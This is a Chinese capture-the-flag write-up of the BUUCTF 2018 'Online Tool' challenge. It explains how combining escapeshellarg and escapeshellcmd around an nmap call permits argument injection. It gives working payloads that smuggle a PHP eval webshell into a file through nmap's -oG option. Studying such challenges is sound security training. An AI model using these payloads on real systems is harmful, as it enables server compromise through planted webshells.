[BUUCTF 2018]Online Tool

Posted chr1sto

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[BUUCTF 2018]Online Tool相关的知识,希望对你有一定的参考价值。

进入页面

贴出源码

 1 <?php
 2 
 3 if (isset($_SERVER[‘HTTP_X_FORWARDED_FOR‘])) {
 4     $_SERVER[‘REMOTE_ADDR‘] = $_SERVER[‘HTTP_X_FORWARDED_FOR‘];
 5 }
 6 
 7 if(!isset($_GET[‘host‘])) {
 8     highlight_file(__FILE__);
 9 } 
10 
11 else {
12     $host = $_GET[‘host‘];
13     $host = escapeshellarg($host);
14     $host = escapeshellcmd($host);
15     $sandbox = md5("glzjin". $_SERVER[‘REMOTE_ADDR‘]);
16     echo ‘you are in sandbox ‘.$sandbox;
17     @mkdir($sandbox);
18     chdir($sandbox);
19     echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
20 }
21 
22                                                                             

大概意思就是

传入参数host

经过escapeshellarg和escapeshellcmd函数的过滤

执行nmap的命令

 

问题肯定出在那两个函数上

参考链接:

https://www.php.net/manual/zh/function.escapeshellarg.php

https://www.php.net/manual/zh/function.escapeshellcmd.php

 看了这两个函数,还是没什么头绪

看到一篇文章https://paper.seebug.org/164/

我们详细分析一下:

传入的参数是:172.17.0.2‘ -v -d a=1
经过escapeshellarg处理后变成了‘172.17.0.2‘‘‘ -v -d a=1‘,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成‘172.17.0.2‘\‘‘ -v -d a=1‘,这是因为escapeshellcmd对以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl ‘172.17.0.2‘\‘‘ -v -d a=1‘,由于中间的\被解释为而不再是转义字符,所以后面的‘没有被转义,与再后面的‘配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2 -v -d a=1‘,即向172.17.0.2发起请求,POST 数据为a=1‘。

但这怎么利用呢,还是一头雾水

从nmap入手

看了大佬文章

nmap有一个 -oG 参数,可以把命令和执行结果写入一个文件

构造payload:

?host=‘ <?php @eval($_POST["hack"]);?> -oG hack.php ‘

菜刀连接

找到flag即可

 

贴一个大佬的试错,关于加不加最后的单引号或加不加 单引号前的空格做了结果展示

首先是后面没有加引号

?host=‘ <?php @eval($_POST["hack"]);?> -oG hack.php
1
我们可以在线测试一下

 

‘‘\‘‘ <?php phpinfo();?> -oG test.php‘
1
返回结果是上面那样文件名后面会多一个引号

然后是加引号但引号前没有空格

?host=‘ <?php @eval($_POST["hack"]);?> -oG hack.php‘
1


运行结果如下

‘‘\‘‘ <?php phpinfo();?> -oG test.php‘\‘‘‘
1
文件名后面就会多出\

所以要注意细节

 

以上是关于[BUUCTF 2018]Online Tool的主要内容,如果未能解决你的问题,请参考以下文章

[BUUCTF 2018]Online Tool

[BUUCTF 2018]Online Tool

[BUUCTF 2018]Online Tool

[BUUCTF 2018]Online Tool

[BUUCTF 2018]Online Tool

[BUUCTF 2018]Online Tool